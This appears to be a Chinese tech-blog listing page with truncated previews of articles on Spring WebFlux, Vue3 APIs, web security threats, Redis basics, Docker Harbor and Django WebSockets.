    springwebFlux是spring5、springboot2.4、springcloud2020webFlux采用响应式编程使用Rsocket协议代替HTTP使用场景主要在springcloudgateway、日志,监控检测等等springwebFlux和springmvc的相同点其实是一个升级版架构基本一致sprimgmvcServletRequest-》......
  • vue3 快速入门系列 —— 其他API
    其他API前面我们已经学习了vue3的一些基础知识,本篇将继续讲解一些常用的其他api,以及较完整的分析vue2和vue3的改变。浅层响应式数据shallowRefshallow中文:“浅层的”shallowRef:浅的ref()。先用ref写个例子:<!--ChildA.vue--><template><p>#组件A</p>......
  • Web【转载学习】
    Web[转载学习]随着WEB2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于WEB环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在WEB平台上,WEB业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是WEB安全威胁的凸显,黑客利用网站操作系统的漏洞和WE......
  • 入门 Redis 基础知识
    目录1.Redis简介与特点1.1.Redis是什么?1.2.为什么选择Redis?2.Redis数据结构与基本操作2.1.字符串(Strings)2.2.列表(Lists)2.3.集合(Sets)2.4.哈希表(Hashes)2.5.有序集合(SortedSets)2.6.基本操作示例3.Redis安装与配置3.1.安装Redis3.2.配置Redis 1.Redi......
  • docker harbor-入门指南
    一、Harbor介绍1.介绍Harbor是一个开源注册表,它使用策略和基于角色的访问控制来保护工件,确保图像被扫描且没有漏洞,并将图像签名为受信任。Harbor是CNCF毕业项目,可提供合规性、性能和互操作性,帮助您跨云原生计算平台(如Kubernetes和Docker)一致、安全地管理工件。2.官......
  • 如何基于Django中的WebSockets和异步视图来实现实时通信功能
    本文分享自华为云社区《结合Django中的WebSockets和异步视图实现实时通信功能的完整指南》,作者:柠檬味拥抱。在现代Web应用程序中,实时通信已经成为了必不可少的功能之一。无论是在线聊天、实时数据更新还是实时通知,都需要通过实时通信技术来实现。Django作为一个强大的Web框架,提......